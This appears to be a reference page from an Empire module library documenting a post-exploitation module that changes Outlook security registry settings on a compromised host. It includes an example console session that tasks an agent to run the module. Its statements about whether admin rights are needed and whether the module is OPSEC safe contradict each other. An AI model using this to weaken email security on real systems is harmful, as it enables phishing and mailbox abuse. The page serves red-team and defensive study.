Disable-SecuritySettings - Empire Module
This page contains detailed information about how to use the powershell/management/mailraider/disable_security Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Disable-SecuritySettings
Module: powershell/management/mailraider/disable_security
Source code [1]: empire/server/modules/powershell/management/mailraider/disable_security.yaml
Source code [2]: empire/server/modules/powershell/management/mailraider/disable_security.py
MITRE ATT&CK:
T1047
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The disable_security module checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be run in an administrative context in order to set the values for the registry keys.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the disable_security module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the disable_security module:
Agent
Agent to run module on.
Version
The version of Microsoft Outlook.
Additional Module Options
This is a list of additional options that are supported by the disable_security module:
AdminPassword
Optional AdminPassword credentials to use for registry changes.
AdminUser
Optional AdminUser credentials to use for registry changes.
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.
Reset
Switch. Reset security settings to default values.
Disable_security Example Usage
Here's an example of how to use the disable_security module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/mailraider/disable_security
Author @xorrior
Background True
Comments https://github.com/xorrior/EmailRaider
http://www.xorrior.com/phishing-on-the-inside/
Description This function checks for the ObjectModelGuard, PromptOOMSend, and
AdminSecurityMode registry keys for Outlook security. This function
must be run in an administrative context in order to set the values
for the registry keys.
Language powershell
Name powershell/management/mailraider/disable_security
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1047
,Record Options--,------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|------------|----------|-------------------------------------|
| AdminPassword | | False | Optional AdminPassword credentials |
| | | | to use for registry changes. |
|----------------|------------|----------|-------------------------------------|
| AdminUser | | False | Optional AdminUser credentials to |
| | | | use for registry changes. |
|----------------|------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|----------------|------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
|----------------|------------|----------|-------------------------------------|
| Reset | | False | Switch. Reset security settings to |
| | | | default values. |
|----------------|------------|----------|-------------------------------------|
| Version | | True | The version of Microsoft Outlook. |
'----------------'------------'----------'-------------------------------------'
(Empire: usemodule/powershell/management/mailraider/disable_security) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/mailraider/disable_security) > set Version value
[*] Set Version to value
(Empire: usemodule/powershell/management/mailraider/disable_security) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/mailraider/disable_security.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/management/mailraider/disable_security.py
- https://github.com/xorrior/EmailRaider
- http://www.xorrior.com/phishing-on-the-inside/
- http://attack.mitre.org/techniques/T1047
See Also
Check also the following modules related to this module:
- powershell/management/disable_rdp
- powershell/management/mailraider/get_subfolders
- powershell/management/mailraider/mail_search
- powershell/management/mailraider/send_mail
- powershell/management/mailraider/view_email
- powershell/management/mailraider/search_gal
- powershell/management/mailraider/get_emailitems
- powershell/persistence/misc/disable_machine_acct_change
- powershell/situational_awareness/network/powerview/find_managed_security_group
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
